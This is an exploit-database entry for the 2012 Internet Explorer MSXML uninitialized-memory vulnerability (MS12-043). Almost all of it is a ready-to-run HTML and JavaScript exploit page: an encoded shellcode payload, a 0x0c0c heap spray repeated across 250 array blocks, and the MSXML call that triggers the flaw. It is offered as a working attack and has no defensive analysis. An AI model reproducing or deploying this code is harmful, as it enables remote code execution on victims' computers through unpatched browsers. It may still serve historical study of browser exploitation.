Internet Explorer MSXML Uninitialized Memory (MS12-043)



EKU-ID: 2614 CVE: OSVDB-ID:
Author: Senator of Pirates Published: 2012-09-03 Verified: Verified
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# Title : Internet Explorer MSXML Uninitialized Memory (MS12-043)
# Date : 2012-09-01
# Auther : Senator of Pirates
# E-Mail : [email protected]
# FaceBook : /SenatorofPirates
                  : /SenatorofPiratesInfo
# Greetz : i greet to my best friends and every Moroccan and 1337day.com milw0rm Exploit DataBase
##

<html>
<script>
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1000) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 20);
var pic = document.createElement("img");
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops = unescape ("%u0c0c%u0c0c");

headersize = 20;

slackspace = headersize + shellcode. length ;
while (nops. length < slackspace) nops += nops;
fillblock= nops.substring(0, slackspace);

block= nops.substring(0, nops. length - slackspace);
while (block. length +slackspace < 0x50000) block= block+ block+ fillblock;

memory= new Array ();
for ( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
pic.src = src;
pic.nameProp;
alert(xmlDoc.definition(""));
</script>
</html>